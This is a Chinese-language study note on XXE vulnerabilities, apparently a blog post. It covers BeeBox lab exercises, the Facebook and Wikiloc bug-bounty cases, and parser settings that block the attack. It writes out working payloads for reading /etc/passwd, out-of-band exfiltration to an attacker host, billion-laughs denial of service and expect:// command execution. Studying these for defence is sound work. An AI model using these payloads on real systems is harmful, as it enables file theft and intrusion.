XXE漏洞笔记

外部实体引用

DTD文件用来定义XML文件遵循的规则(格式),而!ENTITY就可实现如同占位符的作用,例如:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

此处&xee所要显示的内容即由!ENTITY xee标签决定,在有回显的情况下,该服务器的/etc/passwd文件就会被泄露。

分类

1. 简单情况,有回显

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

实例:BeeBox中的XXE LOW

BeeBox XXE

抓包可见修改secret的方式是POST一个xml

<reset><login>gambro</login><secret>Any bugs?</secret></reset>

而回显的内容中包括用户名,由<login>决定,
可以利用它泄露出/etc/passwd

修改为

<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

白盒:xxe-2.php

if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{

    ini_set("display_errors",1);

    $xml = simplexml_load_string($body);

    // Debugging
    // print_r($xml);

    $login = $xml->login;
    $secret = $xml->secret;
...
       $message = $login . "'s secret has been reset!";

simplexml_load_string()函数直接将xml解析,login值不经过滤直接接在响应消息前。

其他利用:

  1. 端口扫描


    开放端口

    非开放端口

    使用Intruder可以扫描端口

2. 无回显

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

www.malicious.com为攻击者搭建的恶意服务器
注:

  • 参数实体定义以%作为开头,引用也以%开头,以;结尾,定义和引用都在DTD内部。
  • 一般实体的定义无%开头,引用以&开头,以;结尾,定义在DTD,引用在XML。

%xxe读取了/etc/passwd,并将内容附在url: www.malicious.com/后作为一个参数
然后向服务端发送GET请求,其中包含敏感文件内容

实例:FACEBOOK OOB XXE

Facebook招聘页一处.docx文件上传被发现可能存在xxe
注:docx是基于XML的一种压缩文件格式,类似的还有xlsx, pptx
攻击者创建了一个docx文件,并用7zip打开,在其中一个XML中插入payload:

<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd;
%send;
]]>

在解析的时候,如果受害者开启了外部实体,XML 解析器会调用远程主机。在收到请求调用之后,远程服务器会发送回提前部署好的DTD 文件,像这样:

<!ENTITY % send SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%file;'>

引入远程dtd文件后,根据上面的payload,/etc/passwd文件内容被附于url
后通过GET请求发送至攻击者服务器。
漏洞的发现者Mohamed 使用 Python 和SimpleHTTPServer开启了一台本地服务器,等待一会后,接收到了以下信息:



SimpleHTTPServer收到了请求/ext.dtd的request,随之受害服务器解析了dtd文件并发送了/FACEBOOK-HACKED? GET请求,遗憾的是并没有和之前预想的附上/etc/passwd的文件内容。原因可能是没有权限

而按照本节最开始的示例,Mohamed本可以不用请求外部dtd

<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">

而直接读取文件并回传至自己的服务器
但这一步的价值在于,如果成功请求了远程dtd文件,解析后再发出请求,即可证明XXE漏洞存在,而读取/etc/passwd不过是XXE利用方式的一种

实例: Wikiloc XXE

网站提供了一种.gpx文件的上传处
攻击者遵循了.gpx的格式并插入dtd


修改后的.gpx

外部dtd

其他利用

1. DOS

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY %lol2 "%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;%lol;">
<!ENTITY %lol3 "%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;%lol2;">
<!ENTITY %lol4 "%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;%lol3;">
<!ENTITY %lol5 "%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;%lol4;">
<!ENTITY %lol6 "%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;%lol5;">
<!ENTITY %lol7 "%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;%lol6;">
<!ENTITY %lol8 "%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;%lol7;">
<!ENTITY lol9 "%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;%lol8;">
]>
<lolz>&lol9;</lolz>

递归,10^8个“lol”

2. RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

(待补充)

防御

BeeBox中高级针对XXE的防御策略:

// Disables XML external entities. Doesn't work with older PHP versions!
    // libxml_disable_entity_loader(true);
    $xml = simplexml_load_string($body);
    
    // Debugging
    // print_r($xml);

    $login = $_SESSION["login"];
    $secret = $xml->secret;

    if($secret)
    {

        $secret = mysqli_real_escape_string($link, $secret);

        $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

        // Debugging
        // echo $sql;      

        $recordset = $link->query($sql);

        if(!$recordset)
        {

            die("Connect Error: " . $link->error);

        }

        $message = $login . "'s secret has been reset!";

    }

    else
    {

        $message = "An error occured!"; 

    }

对于老版本的PHP,不能使用libxml_disable_entity_loader(true);禁用外部实体引用,这里。login现在是直接在SEESION里面取,不再利用xml进行提交。并且使用了mysqli_real_escape_string()函数对$secret进行了特殊字符转义。

禁用外部实体引用:

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤关键词,不允许XML中有自定义DTD

Reference

Web Hacking 101
XXE漏洞利用技巧:从XML到远程代码执行
[Web安全] XXE漏洞攻防学习(中)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。